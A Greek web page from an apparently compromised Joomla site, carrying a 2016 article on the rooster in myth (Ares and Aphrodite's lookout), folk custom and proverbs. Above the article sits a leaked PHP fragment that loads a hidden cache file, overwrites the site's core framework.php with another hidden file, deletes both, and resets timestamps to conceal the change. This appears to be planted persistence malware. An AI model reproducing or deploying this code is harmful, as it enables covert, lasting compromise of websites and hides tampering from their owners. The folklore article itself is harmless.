$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Αποκοιμήθηκε ο…τσιλιαδώρος
YT Expo - шаблон joomla Mp3
Εκτύπωση
PDF
06
Ιούλιος
2016

Αποκοιμήθηκε ο…τσιλιαδώρος

Τ

ον έβαλε τσιλιαδώρο, ο θεός Άρης , καθ’ ο και φίλος του και μάλιστα με την υποχρέωση να τους ξυπνήσει , τον ίδιο και τη γυναίκα του Ήφαιστου, τη διαχρονική Αφροδίτη, στο κρεβάτι της οποίας είχε λάθρα τρυπώσει και διανυκτέρευσε μαζί της, αλλ’ αυτόν τον πήρε ο ύπνος και μόλις φώτισε και διαπιστώθηκε η μοιχεία, κατήγγειλε το γεγονός στον Ήφαιστο, ο…κοκορόμυαλος και ακολούθησαν οι συνέπειες. Ο Άρης, τότε τον τιμώρησε σκληρά. Τον μεταμόρφωσε σε κόκορα, ο οποίος, έκτοτε, αγρυπνεί και λαλεί πολλές φορές πριν ξημερώσει, μήπως και κάποιος υπναράς ξεχαστεί από την κούραση και παραδοθεί στην ευδαιμονία μιας τρυφερής αγκαλιάς. Έτσι λοιπόν λαλεί όχι μία αλλά τρεις φορές (πρώτα, δεύτερα και τρίτα κοκόρια έλεγαν οι χωρικοί που παλιά, με τα κοκόρια σηματοδοτούσαν το ξημέρωμα), για να είναι εντάξει με τα καθήκοντά του και γλιτώσει από, τυχόν, άλλες τιμωρίες του.

Λουσάτος, επιθετικός, πολεμιστής, τρυφερός με τις κότες που συμβιώνει,  έχει πολλά από τα προσόντα του φίλου του που τον μεταμόρφωσε. Τόσο, που στις κοκορομαχίες που τον οδηγούν, βγαίνει καταπληγωμένος αν δεν πέσει από τα τσιμπήματα του αντιπάλου του στο πεδίο των στοιχημάτων. Περήφανος στην περπατησιά του, κοκορεύεται για την εμφάνιση και την ισχύ του, ιδιότητα που έχει μεταφερθεί στους ανθρώπους, όταν θέλουν να χαρακτηρίσουν άμυαλους συνανθρώπους που μιμούνται τον άρχοντα του ορνιθώνα, Ενός κοκόρου γνώση, είναι ο υποτιμητικός τίτλος.

Και τι δεν υποφέρει από τα όσα η παράδοση αναφέρει. Η λαλιά του διώχνει τα κακά πνεύματα τη νύχτα, η θυσία του στο θεμέλιωμα μιας οικοδομής διατηρείται από τα πανάρχαια χρόνια, το αίμα του κυλάει πάνω στο μεγάλο λιθάρι, τον ακρογωνιαίο λίθο αλλά η σάρκα του καταναλώνεται μεταξύ των μαστόρων και αυτό είναι το κέρασμα της οικοδέσποινας. Μπορεί να σφάζεται και γι αυτό το λόγο. Αδιευκρίνιστο. Η παρουσία του κατά τον τοκετό της Λητούς, απάλυνε τις ωδύνες αλλά ως εκεί. Στη νεότερη εποχή έσφαζαν τον πετεινό για να καλογεννήσει η γυναίκα, αλλά και να οικονομηθεί ζωμός για τη λεχώνα, ίσως ήταν κι αυτό μια συνδρομή του μύθου.

Πολλές παροιμίες λέγονται. Όπως για το γαμπρό, γεννάει κι ο κόκορας. Τρώγονται σαν τα κοκόρια, επειδή στο ίδιο κοτέτσι δεν συνυπάρχουν αρμονικά δυο κοκόροι, δυο κούνελοι, η πεθερά κι η νύφη. Κοκορόμυαλος , είναι ο ελαφρόμυαλος. Για να μαζέψουν λίγη γνώση, χρειάζονται 45 Γιάννηδες. Για τους απρόσεχτους και αδιάφορους, λέμε ότι τα φόρτωσε στον κόκορα. Και τον κατηγορούν ότι ενώ σκαλίζει στην κοπριά, κάνει καντάδα στο φεγγάρι. Αλλά και η λαϊκή ποίηση εμπνέεται από τη φιλοσοφία του. «Ήμουνα κράχτης πετεινός / και μεσ’ στα γηρατειά μου /να με τσιμπούν οι όρνιθες / δεν το βαστά η καρδιά μου.»  Βάλτε σεις οι αναγνώστες το τελευταίο σχόλιο στο φαρμακερό, τούτο, τετράστιχο.  Κι όμως υπάρχουν σεβάσμιοι κατά τα άλλα πρεσβύτες, που εννοούν να…κοκορεύονται έξω από το κοτέτσι, γιατί κι αν πηδήσουν μέσα, δε θα γλιτώσουν από τις κότες!...